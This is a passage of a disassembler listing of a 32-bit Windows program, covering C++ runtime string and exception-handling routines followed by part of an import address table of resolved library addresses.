; ---------------------------------------------------------------------------
loc_420593: ; CODE XREF: sub_420548+2Bj
; sub_420548+2Fj
mov eax, esi
sub eax, dword_46B65C
sar eax, 2
jmp short loc_420590
sub_420548 endp
; =============== S U B R O U T I N E =======================================
sub_4205A0 proc near ; CODE XREF: sub_4203C1+3Fp
arg_0 = dword ptr 4
push edi
mov edi, [esp+4+arg_0]
xor ecx, ecx
test edi, edi
jnz short loc_4205AF
xor eax, eax
pop edi
retn
; ---------------------------------------------------------------------------
loc_4205AF: ; CODE XREF: sub_4205A0+9j
cmp dword ptr [edi], 0
lea eax, [edi+4]
jz short loc_4205C1
loc_4205B7: ; CODE XREF: sub_4205A0+1Fj
mov edx, [eax]
inc ecx
add eax, 4
test edx, edx
jnz short loc_4205B7
loc_4205C1: ; CODE XREF: sub_4205A0+15j
push ebx
push ebp
lea eax, ds:4[ecx*4]
push esi
push eax
call sub_415BE9
mov esi, eax
pop ecx
test esi, esi
mov ebp, esi
jnz short loc_4205E2
push 9
call sub_417C0E
pop ecx
loc_4205E2: ; CODE XREF: sub_4205A0+38j
mov eax, [edi]
mov ebx, edi
loc_4205E6: ; CODE XREF: sub_4205A0+5Bj
test eax, eax
jz short loc_4205FD
push eax
add ebx, 4
call sub_42067A
mov [esi], eax
mov eax, [ebx]
pop ecx
add esi, 4
jmp short loc_4205E6
; ---------------------------------------------------------------------------
loc_4205FD: ; CODE XREF: sub_4205A0+48j
and dword ptr [esi], 0
mov eax, ebp
pop esi
pop ebp
pop ebx
pop edi
retn
sub_4205A0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420607 proc near ; CODE XREF: sub_4203C1+14p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
cmp dword_46CA7C, 0
jnz short loc_420622
push [ebp+arg_4]
push [ebp+arg_0]
call sub_416F20
pop ecx
pop ecx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_420622: ; CODE XREF: sub_420607+Aj
mov ecx, [ebp+arg_0]
loc_420625: ; CODE XREF: sub_420607+56j
movzx ax, byte ptr [ecx]
test ax, ax
jz short loc_420668
movzx edx, al
test byte_46CB81[edx], 4
jz short loc_420654
mov dl, [ecx+1]
inc ecx
test dl, dl
jz short loc_42065F
movzx eax, ax
movzx edx, dl
shl eax, 8
or eax, edx
cmp [ebp+arg_4], eax
jz short loc_420663
jmp short loc_42065C
; ---------------------------------------------------------------------------
loc_420654: ; CODE XREF: sub_420607+31j
movzx edx, ax
cmp [ebp+arg_4], edx
jz short loc_420668
loc_42065C: ; CODE XREF: sub_420607+4Bj
inc ecx
jmp short loc_420625
; ---------------------------------------------------------------------------
loc_42065F: ; CODE XREF: sub_420607+39j
xor eax, eax
pop ebp
retn
; ---------------------------------------------------------------------------
loc_420663: ; CODE XREF: sub_420607+49j
lea eax, [ecx-1]
pop ebp
retn
; ---------------------------------------------------------------------------
loc_420668: ; CODE XREF: sub_420607+25j
; sub_420607+53j
movzx edx, ax
mov eax, [ebp+arg_4]
sub eax, edx
neg eax
sbb eax, eax
not eax
and eax, ecx
pop ebp
retn
sub_420607 endp
; =============== S U B R O U T I N E =======================================
sub_42067A proc near ; CODE XREF: sub_4098D4+21p
; sub_4205A0+4Ep
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
test esi, esi
jz short loc_4206A1
push esi
call sub_415B10
inc eax
push eax
call sub_415BE9
pop ecx
test eax, eax
pop ecx
jz short loc_4206A1
push esi
push eax
call sub_415A20
pop ecx
pop ecx
pop esi
retn
; ---------------------------------------------------------------------------
loc_4206A1: ; CODE XREF: sub_42067A+7j
; sub_42067A+1Aj
xor eax, eax
pop esi
retn
sub_42067A endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4206B0 proc near ; CODE XREF: sub_404ADF+12p
; sub_404B39+12p ...
mov eax, offset loc_420BA0
call sub_4162F0
sub esp, 30h
mov al, [ebp-0Dh]
push esi
push 0
lea ecx, [ebp-20h]
mov [ebp-20h], al
call sub_404CE4
mov esi, offset aStringTooLong ; "string too long"
push esi
call sub_415B10
pop ecx
push eax
push esi
lea ecx, [ebp-20h]
call sub_404D1C
and dword ptr [ebp-4], 0
lea eax, [ebp-20h]
push eax
lea ecx, [ebp-3Ch]
call sub_42070A
lea eax, [ebp-3Ch]
push offset dword_421FA8
push eax
mov dword ptr [ebp-3Ch], offset off_421C6C
call sub_420B09
pop esi
sub_4206B0 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_42070A proc near ; CODE XREF: sub_4206B0+3Fp
; sub_4208DC+3Fp
mov eax, offset loc_420BB4
call sub_4162F0
push ecx
push ecx
push ebx
push esi
lea eax, [ebp-10h]
push edi
mov esi, ecx
push eax
mov [ebp-14h], esi
mov dword ptr [ebp-10h], offset byte_43B188
call sub_420A2E
mov ebx, [ebp+8]
and dword ptr [ebp-4], 0
lea edi, [esi+0Ch]
push 0
mov al, [ebx]
mov ecx, edi
mov [edi], al
call sub_404CE4
push dword_421C98
mov ecx, edi
push 0
push ebx
call sub_404B91
mov ecx, [ebp-0Ch]
mov dword ptr [esi], offset off_421C8C
mov eax, esi
pop edi
pop esi
pop ebx
mov large fs:0, ecx
leave
retn 4
sub_42070A endp
; =============== S U B R O U T I N E =======================================
sub_42076E proc near ; DATA XREF: seg001:00421C70o
; seg001:00421C90o ...
mov eax, [ecx+10h]
test eax, eax
jnz short locret_42077A
mov eax, offset dword_421258
locret_42077A: ; CODE XREF: sub_42076E+5j
retn
sub_42076E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42077B proc near ; DATA XREF: seg001:00421C94o
var_1C = byte ptr -1Ch
push ebp
mov ebp, esp
sub esp, 1Ch
push ecx
lea ecx, [ebp+var_1C]
call sub_4207F1
lea eax, [ebp+var_1C]
push offset dword_422018
push eax
call sub_420B09
sub_42077B endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_420798 proc near ; CODE XREF: seg001:004207D8p
; DATA XREF: seg001:0042201Co
mov eax, offset loc_420BC8
call sub_4162F0
push ecx
push esi
mov esi, ecx
mov [ebp-10h], esi
mov dword ptr [esi], offset off_421C8C
and dword ptr [ebp-4], 0
push 1
lea ecx, [esi+0Ch]
call sub_404CE4
or dword ptr [ebp-4], 0FFFFFFFFh
mov ecx, esi
call sub_420AB5
mov ecx, [ebp-0Ch]
pop esi
mov large fs:0, ecx
leave
retn
sub_420798 endp
; ---------------------------------------------------------------------------
loc_4207D5: ; DATA XREF: seg001:off_421C8Co
push esi
mov esi, ecx
call sub_420798
test byte ptr [esp+8], 1
jz short loc_4207EB
push esi
call sub_41630F
pop ecx
loc_4207EB: ; CODE XREF: seg001:004207E2j
mov eax, esi
pop esi
retn 4
; =============== S U B R O U T I N E =======================================
sub_4207F1 proc near ; CODE XREF: sub_42077B+Ap
; sub_4208C4+7p ...
mov eax, offset loc_420BDC
call sub_4162F0
push ecx
push ebx
mov ebx, [ebp+8]
push esi
push edi
mov esi, ecx
push ebx
mov [ebp-10h], esi
call sub_420A6B
mov al, [ebx+0Ch]
and dword ptr [ebp-4], 0
add ebx, 0Ch
lea edi, [esi+0Ch]
push 0
mov ecx, edi
mov [edi], al
call sub_404CE4
push dword_421C98
mov ecx, edi
push 0
push ebx
call sub_404B91
mov ecx, [ebp-0Ch]
mov dword ptr [esi], offset off_421C8C
mov eax, esi
pop edi
pop esi
pop ebx
mov large fs:0, ecx
leave
retn 4
sub_4207F1 endp
; =============== S U B R O U T I N E =======================================
sub_42084E proc near ; CODE XREF: sub_42088B+20p
; DATA XREF: seg001:00421FACo
mov eax, offset loc_420BF0
call sub_4162F0
push ecx
push esi
mov esi, ecx
mov [ebp-10h], esi
mov dword ptr [esi], offset off_421C8C
and dword ptr [ebp-4], 0
push 1
lea ecx, [esi+0Ch]
call sub_404CE4
or dword ptr [ebp-4], 0FFFFFFFFh
mov ecx, esi
call sub_420AB5
mov ecx, [ebp-0Ch]
pop esi
mov large fs:0, ecx
leave
retn
sub_42084E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42088B proc near ; DATA XREF: seg001:00421C74o
var_1C = byte ptr -1Ch
var_18 = byte ptr -18h
push ebp
mov ebp, esp
sub esp, 1Ch
push ecx
lea ecx, [ebp+var_1C]
call sub_4208C4
lea eax, [ebp+var_1C]
push offset dword_421FA8
push eax
call sub_420B09
loc_4208A8: ; DATA XREF: seg001:off_421C6Co
push esi
mov esi, ecx
call sub_42084E
test [esp+20h+var_18], 1
jz short loc_4208BE
push esi
call sub_41630F
pop ecx
loc_4208BE: ; CODE XREF: sub_42088B+2Aj
mov eax, esi
pop esi
retn 4
sub_42088B endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4208C4 proc near ; CODE XREF: sub_42088B+Ap
arg_0 = dword ptr 4
push esi
mov esi, ecx
push [esp+4+arg_0]
call sub_4207F1
mov dword ptr [esi], offset off_421C6C
mov eax, esi
pop esi
retn 4
sub_4208C4 endp
; =============== S U B R O U T I N E =======================================
sub_4208DC proc near ; CODE XREF: sub_404B91+13p
; sub_404D51+Ep
mov eax, offset loc_420C04
call sub_4162F0
sub esp, 30h
mov al, [ebp-0Dh]
push esi
push 0
lea ecx, [ebp-20h]
mov [ebp-20h], al
call sub_404CE4
mov esi, offset aInvalidStringP ; "invalid string position"
push esi
call sub_415B10
pop ecx
push eax
push esi
lea ecx, [ebp-20h]
call sub_404D1C
and dword ptr [ebp-4], 0
lea eax, [ebp-20h]
push eax
lea ecx, [ebp-3Ch]
call sub_42070A
lea eax, [ebp-3Ch]
push offset dword_4220D0
push eax
mov dword ptr [ebp-3Ch], offset off_421CA0
call sub_420B09
pop esi
sub_4208DC endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_420936 proc near ; CODE XREF: sub_420973+20p
; DATA XREF: seg001:004220D4o
mov eax, offset loc_420C18
call sub_4162F0
push ecx
push esi
mov esi, ecx
mov [ebp-10h], esi
mov dword ptr [esi], offset off_421C8C
and dword ptr [ebp-4], 0
push 1
lea ecx, [esi+0Ch]
call sub_404CE4
or dword ptr [ebp-4], 0FFFFFFFFh
mov ecx, esi
call sub_420AB5
mov ecx, [ebp-0Ch]
pop esi
mov large fs:0, ecx
leave
retn
sub_420936 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420973 proc near ; DATA XREF: seg001:00421CA8o
var_1C = byte ptr -1Ch
var_18 = byte ptr -18h
push ebp
mov ebp, esp
sub esp, 1Ch
push ecx
lea ecx, [ebp+var_1C]
call sub_4209AC
lea eax, [ebp+var_1C]
push offset dword_4220D0
push eax
call sub_420B09
loc_420990: ; DATA XREF: seg001:off_421CA0o
push esi
mov esi, ecx
call sub_420936
test [esp+20h+var_18], 1
jz short loc_4209A6
push esi
call sub_41630F
pop ecx
loc_4209A6: ; CODE XREF: sub_420973+2Aj
mov eax, esi
pop esi
retn 4
sub_420973 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4209AC proc near ; CODE XREF: sub_420973+Ap
arg_0 = dword ptr 4
push esi
mov esi, ecx
push [esp+4+arg_0]
call sub_4207F1
mov dword ptr [esi], offset off_421CA0
mov eax, esi
pop esi
retn 4
sub_4209AC endp
; =============== S U B R O U T I N E =======================================
sub_4209C4 proc near ; DATA XREF: seg001:0042300Co
; FUNCTION CHUNK AT 004209FA SIZE 0000000C BYTES
test byte_46B924, 1
jnz short loc_4209D4
or byte_46B924, 1
loc_4209D4: ; CODE XREF: sub_4209C4+7j
call sub_4209EE
test byte_46CCC0, 1
jnz short loc_4209E9
or byte_46CCC0, 1
loc_4209E9: ; CODE XREF: sub_4209C4+1Cj
jmp loc_4209FA
sub_4209C4 endp
; =============== S U B R O U T I N E =======================================
sub_4209EE proc near ; CODE XREF: sub_4209C4:loc_4209D4p
push offset nullsub_1
call sub_4166D0
pop ecx
retn
sub_4209EE endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4209C4
loc_4209FA: ; CODE XREF: sub_4209C4:loc_4209E9j
push offset nullsub_1
call sub_4166D0
pop ecx
retn
; END OF FUNCTION CHUNK FOR sub_4209C4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_420A06 proc near ; CODE XREF: sub_40443B+5Ep
; sub_405398+157p
jmp dword_4211D8
sub_420A06 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_420A0C proc near ; CODE XREF: sub_415F5C+23p
; sub_416200+13p
jmp dword_421154
sub_420A0C endp
; =============== S U B R O U T I N E =======================================
sub_420A12 proc near ; DATA XREF: seg001:off_421CC8o
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_420AB5
test [esp+4+arg_0], 1
jz short loc_420A28
push esi
call sub_41630F
pop ecx
loc_420A28: ; CODE XREF: sub_420A12+Dj
mov eax, esi
pop esi
retn 4
sub_420A12 endp
; =============== S U B R O U T I N E =======================================
sub_420A2E proc near ; CODE XREF: sub_42070A+1Fp
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
mov esi, ecx
mov dword ptr [esi], offset off_421CC8
push dword ptr [edi]
call sub_415B10
inc eax
push eax
call sub_416655
pop ecx
mov [esi+4], eax
test eax, eax
pop ecx
jz short loc_420A5D
push dword ptr [edi]
push eax
call sub_415A20
pop ecx
pop ecx
loc_420A5D: ; CODE XREF: sub_420A2E+23j
mov dword ptr [esi+8], 1
mov eax, esi
pop edi
pop esi
retn 4
sub_420A2E endp
; =============== S U B R O U T I N E =======================================
sub_420A6B proc near ; CODE XREF: sub_4207F1+17p
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
mov esi, ecx
mov dword ptr [esi], offset off_421CC8
mov eax, [edi+8]
test eax, eax
mov [esi+8], eax
jz short loc_420AA8
push dword ptr [edi+4]
call sub_415B10
inc eax
push eax
call sub_416655
pop ecx
mov [esi+4], eax
test eax, eax
pop ecx
jz short loc_420AAE
push dword ptr [edi+4]
push eax
call sub_415A20
pop ecx
pop ecx
jmp short loc_420AAE
; ---------------------------------------------------------------------------
loc_420AA8: ; CODE XREF: sub_420A6B+16j
mov eax, [edi+4]
mov [esi+4], eax
loc_420AAE: ; CODE XREF: sub_420A6B+2Ej
; sub_420A6B+3Bj
mov eax, esi
pop edi
pop esi
retn 4
sub_420A6B endp
; =============== S U B R O U T I N E =======================================
sub_420AB5 proc near ; CODE XREF: sub_420798+2Bp
; sub_42084E+2Bp ...
cmp dword ptr [ecx+8], 0
mov dword ptr [ecx], offset off_421CC8
jz short locret_420ACA
push dword ptr [ecx+4]
call sub_41630F
pop ecx
locret_420ACA: ; CODE XREF: sub_420AB5+Aj
retn
sub_420AB5 endp
; ---------------------------------------------------------------------------
mov eax, [ecx+4]
test eax, eax
jnz short locret_420AD7
mov eax, offset aUnknownExcepti ; "Unknown exception"
locret_420AD7: ; CODE XREF: seg001:00420AD0j
retn
; =============== S U B R O U T I N E =======================================
sub_420AD8 proc near ; CODE XREF: seg001:00420AF0p
mov dword ptr [ecx], offset off_421CE8
mov ecx, [ecx+4]
test ecx, ecx
jz short locret_420AEC
push ecx
call sub_415C9B
pop ecx
locret_420AEC: ; CODE XREF: sub_420AD8+Bj
retn
sub_420AD8 endp
; ---------------------------------------------------------------------------
loc_420AED: ; DATA XREF: seg001:off_421CE8o
push esi
mov esi, ecx
call sub_420AD8
test byte ptr [esp+8], 1
jz short loc_420B03
push esi
call sub_41630F
pop ecx
loc_420B03: ; CODE XREF: seg001:00420AFAj
mov eax, esi
pop esi
retn 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420B09 proc near ; CODE XREF: sub_4206B0+54p
; sub_42077B+18p ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_C = byte ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
push esi
push edi
push 8
pop ecx
mov esi, offset dword_421CF0
lea edi, [ebp+var_20]
rep movsd
mov [ebp+var_8], eax
mov eax, [ebp+arg_4]
mov [ebp+var_4], eax
lea eax, [ebp+var_C]
push eax
push [ebp+var_10]
push [ebp+var_1C]
push [ebp+var_20]
call dword_421188 ; RaiseException
pop edi
pop esi
leave
retn 8
sub_420B09 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_420B44 proc near ; DATA XREF: seg001:00421E9Co
; FUNCTION CHUNK AT 00404AD7 SIZE 00000008 BYTES
lea ecx, [ebp-38h]
jmp loc_404AD7
sub_420B44 endp
; ---------------------------------------------------------------------------
mov eax, [ebp-20h]
and eax, 1
test eax, eax
jz locret_420B62
mov ecx, [ebp+8]
jmp loc_404AD7
; ---------------------------------------------------------------------------
locret_420B62: ; CODE XREF: seg001:00420B54j
retn
; ---------------------------------------------------------------------------
loc_420B63: ; DATA XREF: sub_40467Co
mov eax, offset dword_421EA0
jmp loc_415FAB
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp+14h]
jmp loc_404AD7
; ---------------------------------------------------------------------------
loc_420B78: ; DATA XREF: seg001:00421EC8o
lea ecx, [ebp-1Ch]
jmp loc_404AD7
; ---------------------------------------------------------------------------
loc_420B80: ; DATA XREF: sub_40481Bo
mov eax, offset dword_421ECC
jmp loc_415FAB
; ---------------------------------------------------------------------------
align 4
loc_420B8C: ; DATA XREF: sub_404DB8o
mov eax, offset dword_421F1C
jmp loc_415FAB
; ---------------------------------------------------------------------------
align 4
lea ecx, [ebp-20h]
jmp loc_404AD7
; ---------------------------------------------------------------------------
loc_420BA0: ; DATA XREF: sub_4206B0o
mov eax, offset dword_421FB8
jmp loc_415FAB
; ---------------------------------------------------------------------------
align 4
mov ecx, [ebp-14h]
jmp sub_420AB5
; ---------------------------------------------------------------------------
loc_420BB4: ; DATA XREF: sub_42070Ao
mov eax, offset dword_421FE0
jmp loc_415FAB
; ---------------------------------------------------------------------------
align 10h
mov ecx, [ebp-10h]
jmp sub_420AB5
; ---------------------------------------------------------------------------
loc_420BC8: ; DATA XREF: sub_420798o
mov eax, offset dword_422028
jmp loc_415FAB
; ---------------------------------------------------------------------------
align 4
mov ecx, [ebp-10h]
jmp sub_420AB5
; ---------------------------------------------------------------------------
loc_420BDC: ; DATA XREF: sub_4207F1o
mov eax, offset dword_422050
jmp loc_415FAB
; ---------------------------------------------------------------------------
align 4
mov ecx, [ebp-10h]
jmp sub_420AB5
; ---------------------------------------------------------------------------
loc_420BF0: ; DATA XREF: sub_42084Eo
mov eax, offset dword_422078
jmp loc_415FAB
; ---------------------------------------------------------------------------
align 4
lea ecx, [ebp-20h]
jmp loc_404AD7
; ---------------------------------------------------------------------------
loc_420C04: ; DATA XREF: sub_4208DCo
mov eax, offset dword_4220E0
jmp loc_415FAB
; ---------------------------------------------------------------------------
align 10h
mov ecx, [ebp-10h]
jmp sub_420AB5
; ---------------------------------------------------------------------------
loc_420C18: ; DATA XREF: sub_420936o
mov eax, offset dword_422108
jmp loc_415FAB
; ---------------------------------------------------------------------------
align 4
dd 0F7h dup(0)
dword_421000 dd 77EB7624h ; DATA XREF: sub_40A5C5+3Dr
dword_421004 dd 77E6BD68h ; DATA XREF: sub_4203C1+173r
dword_421008 dd 77E77F2Eh ; DATA XREF: sub_420119+3Er
; sub_420119+261r
dword_42100C dd 77E762D0h ; DATA XREF: sub_420119+5Br
; sub_420119+B9r
dword_421010 dd 77E70192h ; DATA XREF: sub_41F120+F9r
dword_421014 dd 77E7176Ch ; DATA XREF: sub_41E83A+8r
dword_421018 dd 77E7339Ch ; DATA XREF: sub_41E802+Cr
dword_42101C dd 77E7C9E7h ; DATA XREF: sub_41E7E4+5r
; sub_41E7F5+6r
dword_421020 dd 77E73FF9h ; DATA XREF: sub_41DD9F+2Cr
dword_421024 dd 77E7FF2Eh ; DATA XREF: sub_41DC71:loc_41DCC1r
; sub_41DCE8:loc_41DD3Br
dword_421028 dd 77E7C866h ; DATA XREF: sub_41DA93+3Fr
; sub_41DA93+12Dr
dword_42102C dd 77E641EBh ; DATA XREF: sub_41DA93+59r
; sub_41DA93+8Dr
dword_421030 dd 77E78406h ; DATA XREF: sub_41D4EF+FFr
; sub_41D4EF+166r ...
dword_421034 dd 77E79C3Dh ; DATA XREF: sub_41D4EF+158r
; sub_41D7B5+143r
dword_421038 dd 77E7C931h ; DATA XREF: sub_41D4EF+19Dr
dword_42103C dd 77E77EE1h ; DATA XREF: sub_41D3BD+9r
dword_421040 dd 77E67702h ; DATA XREF: sub_41D3BD:loc_41D3ECr
; sub_41D3BD+E1r
dword_421044 dd 77E7C9E1h ; DATA XREF: sub_41D3BD+CEr
dword_421048 dd 77E73C49h ; DATA XREF: sub_401000+AAr
; sub_401444+95r ...
dword_42104C dd 77E7751Ah ; DATA XREF: sub_401000+27r
; sub_401444+1A6r ...
dword_421050 dd 77E802FCh ; DATA XREF: sub_4010B2+18Cr
; sub_4010B2+2D4r ...
dword_421054 dd 77E6D75Bh ; DATA XREF: sub_4010B2+182r
; sub_4018CB+FFr
dword_421058 dd 77E704FCh ; DATA XREF: sub_40211C+20r
; sub_40A9D8+183r ...
dword_42105C dd 77E70F89h ; DATA XREF: sub_40211C+Er
; sub_40B078+Dr ...
dword_421060 dd 77E61BE6h ; DATA XREF: sub_4021FB+5Dr
; sub_40282F+E3r ...
dword_421064 dd 77E77CCEh ; DATA XREF: sub_402FCD+66r
; sub_4030B0+65r ...
dword_421068 dd 77E78B82h ; DATA XREF: sub_4033B6+135r
; sub_406978+80r ...
dword_42106C dd 77E77963h ; DATA XREF: sub_4033B6+11Dr
; sub_4033B6+150r ...
dword_421070 dd 77E79D8Ch ; DATA XREF: sub_4033B6+100r
; sub_409D34+AEr ...
dword_421074 dd 77E73EACh ; DATA XREF: sub_4033B6+E6r
dword_421078 dd 77E7A837h ; DATA XREF: sub_4033B6+68r
; sub_406048+1C3r ...
dword_42107C dd 77E7A099h ; DATA XREF: sub_4059FC+18r
; sub_4071B6+58r ...
dword_421080 dd 77E64106h ; DATA XREF: sub_405ECC+9Fr
; sub_40A9D8+1B6r
dword_421084 dd 77E64006h ; DATA XREF: sub_405ECC+8Br
; sub_40A9D8+19Fr
dword_421088 dd 77F5157Dh ; DATA XREF: sub_406048+26Fr
; sub_4071B6+12Br ...
dword_42108C dd 77E7AC37h ; DATA XREF: sub_406048+24Cr
; sub_4071B6+10Br ...
dword_421090 dd 77E793EFh ; DATA XREF: sub_406048+1EDr
; sub_406978+38r ...
dword_421094 dd 77E74CABh ; DATA XREF: sub_406048+10Fr
; sub_409D34+10Fr ...
dword_421098 dd 77E78EAAh ; DATA XREF: sub_4062F7+5EDr
; sub_4087CA+C0r ...
dword_42109C dd 77E79424h ; DATA XREF: sub_4062F7+27Ar
dword_4210A0 dd 77E794BFh ; DATA XREF: sub_4062F7+26Cr
dword_4210A4 dd 77E75E67h ; DATA XREF: sub_4062F7+20Cr
; sub_4062F7+5DCr ...
dword_4210A8 dd 77E75D9Eh ; DATA XREF: sub_4062F7+1FBr
; sub_4087CA+26r
dword_4210AC dd 77E78C81h ; DATA XREF: sub_406978+6Cr
; sub_40B61A+259r ...
dword_4210B0 dd 77F7E300h ; DATA XREF: sub_4076CB+130r
dword_4210B4 dd 77F7E21Fh ; DATA XREF: sub_4076CB+C5r
dword_4210B8 dd 77E7C706h ; DATA XREF: sub_4078DF+77r
dword_4210BC dd 77F53275h ; DATA XREF: sub_4078DF+6Br
; sub_4078DF+241r
dword_4210C0 dd 77E805D8h ; DATA XREF: sub_40891C+13Ar
; sub_40891C:loc_408E0Cr ...
dword_4210C4 dd 77E7A5FDh ; DATA XREF: sub_40891C+11r
; sub_41A77A+15r ...
dword_4210C8 dd 77E79F93h ; DATA XREF: sub_40891C+2r
; sub_409D34+FBr ...
dword_4210CC dd 77E76A60h ; DATA XREF: sub_409B27+2Dr
dword_4210D0 dd 77E71B14h ; DATA XREF: sub_409BB1+26r
dword_4210D4 dd 77E7166Fh ; DATA XREF: sub_409BB1+1Dr
dword_4210D8 dd 77E75090h ; DATA XREF: sub_409BEC+69r
dword_4210DC dd 77E74D76h ; DATA XREF: sub_409BEC+36r
dword_4210E0 dd 77E77797h ; DATA XREF: sub_409BEC+25r
dword_4210E4 dd 77E7011Ah ; DATA XREF: sub_409C6E+96r
dword_4210E8 dd 77E73CE2h ; DATA XREF: sub_409C6E+60r
dword_4210EC dd 77E61BB8h ; DATA XREF: sub_409D34+17Er
; sub_409EBC+B4r ...
dword_4210F0 dd 77E668D9h ; DATA XREF: sub_409D34+15Dr
dword_4210F4 dd 77E70396h ; DATA XREF: sub_409D34+126r
; sub_40C574+1BFr ...
dword_4210F8 dd 77E6AD34h ; DATA XREF: sub_409D34+35r
; sub_40CD3A+3C9Br
dword_4210FC dd 77E7FF65h ; DATA XREF: sub_40A5C5+5Ar
dword_421100 dd 77E79CE3h ; DATA XREF: sub_40A71A+91r
dword_421104 dd 77E79C90h ; DATA XREF: sub_40A71A+79r
; sub_413BE5+Cr ...
dword_421108 dd 77E7727Ah ; DATA XREF: sub_40A71A+38r
dword_42110C dd 77E7C657h ; DATA XREF: sub_40A9D8+24r
; seg001:004140F2r ...
dword_421110 dd 77E76C1Ah ; DATA XREF: sub_40A9D8+1CFr
dword_421114 dd 77E75CB5h ; DATA XREF: sub_40BBF7+465r
; sub_40C48C+DFr ...
dword_421118 dd 77E73628h ; DATA XREF: sub_40C574+324r
; sub_40CD3A+46F3r ...
dword_42111C dd 77E706B7h ; DATA XREF: sub_40C574+260r
; sub_413C50+184r ...
dword_421120 dd 77E80656h ; DATA XREF: sub_40C574+253r
dword_421124 dd 77E6BD13h ; DATA XREF: sub_40C574:loc_40C739r
dword_421128 dd 77E79D5Bh ; DATA XREF: sub_40C574+75r
; sub_40C574+2FAr
dword_42112C dd 77E7C2C4h ; DATA XREF: sub_40C574+6Er
dword_421130 dd 77E75CEBh ; DATA XREF: sub_40CD3A+4938r
; sub_414F15+27r
dword_421134 dd 77E71AFEh ; DATA XREF: sub_40CD3A+3A86r
dword_421138 dd 77E79924h ; DATA XREF: sub_413112+13r
; sub_41C639+20Dr ...
dword_42113C dd 77E65F4Ch ; DATA XREF: sub_413B27+34r
; seg001:00414011r
dword_421140 dd 77E616B4h ; DATA XREF: sub_413C50+193r
; sub_413EDB+1Fr ...
dword_421144 dd 77E7513Ch ; DATA XREF: seg001:0041407Er
dword_421148 dd 77E6C29Dh ; DATA XREF: sub_414826+1F0r
dword_42114C dd 77F516F8h ; DATA XREF: sub_415C27+6Cr
; sub_41737F+C6r ...
dword_421150 dd 77F51597h ; DATA XREF: sub_415C9B+60r
; sub_418CE8+2C5r ...
dword_421154 dd 77F6183Eh ; DATA XREF: sub_420A0Cr
dword_421158 dd 77E76E3Dh ; DATA XREF: sub_41697B+6Cr
; sub_41EA02+38r
dword_42115C dd 77E61608h ; DATA XREF: sub_41697B+17r
dword_421160 dd 77F5722Fh ; DATA XREF: sub_41737F+110r
; sub_41737F+22Dr ...
dword_421164 dd 77E6177Ah ; DATA XREF: seg001:00417BB7r
; sub_41D4EF+59r
dword_421168 dd 77E7C938h ; DATA XREF: seg001:00417B8Cr
dword_42116C dd 77E7C486h ; DATA XREF: seg001:00417B3Er
dword_421170 dd 77E7AC5Eh ; DATA XREF: sub_418AD0+54r
dword_421174 dd 77E76E0Bh ; DATA XREF: sub_418C18+50r
dword_421178 dd 77E7C726h ; DATA XREF: sub_418C18+11r
dword_42117C dd 77E79E34h ; DATA XREF: sub_418CE8+240r
; sub_4197BC+120r ...
dword_421180 dd 77E7980Ah ; DATA XREF: sub_41931A+76r
; sub_4193CB+51r ...
dword_421184 dd 77E73196h ; DATA XREF: sub_41E81E+Cr
dword_421188 dd 77E6D706h ; DATA XREF: sub_419F74+215r
; sub_420B09+2Er
dword_42118C dd 77F522F2h ; DATA XREF: sub_41B4D8+58r
dword_421190 dd 77E77405h ; DATA XREF: sub_41C639+5Er
; sub_41C639+A7r
dword_421194 dd 77E781F9h ; DATA XREF: sub_41C639+42r
; sub_41C639+14Dr ...
dword_421198 dd 77E7849Fh ; DATA XREF: sub_41C85D+48r
; sub_41CA9C+14r ...
dword_42119C dd 77E7A13Fh ; DATA XREF: sub_41C9F6+2Fr
dword_4211A0 dd 77E6C703h ; DATA XREF: sub_41C9F6+1Ar
dword_4211A4 dd 77EB9A84h ; DATA XREF: sub_41CEDB+138r
dword_4211A8 dd 77E9C5B1h ; DATA XREF: sub_41D3BD+11Fr
align 10h
dword_4211B0 dd 71AB1836h ; DATA XREF: sub_40597F+6Er
; sub_4059FC+8Er
dword_4211B4 dd 71AB41DAh ; DATA XREF: sub_405398+47r
; sub_40597F+15r
dword_4211B8 dd 71AB3F8Dh ; DATA XREF: sub_405398+8Dr
dword_4211BC dd 71AB155Ah ; DATA XREF: sub_405398+9Dr
dword_4211C0 dd 71AB3ECEh ; DATA XREF: sub_405398+C4r
dword_4211C4 dd 71AB5DE2h ; DATA XREF: sub_405398+D8r
dword_4211C8 dd 71AB868Dh ; DATA XREF: sub_405398+17Er
dword_4211CC dd 71AB2BBFh ; DATA XREF: seg001:0040529Fr
dword_4211D0 dd 71AB8629h ; DATA XREF: seg001:00405384r
dword_4211D4 dd 71AB1890h ; DATA XREF: sub_40443B+4Cr
; sub_405398+115r
dword_4211D8 dd 71AB1B7Bh ; DATA XREF: sub_420A06r
dword_4211DC dd 71AB12F8h ; DATA XREF: sub_40282F+27r
; sub_402DD1+2Ar ...
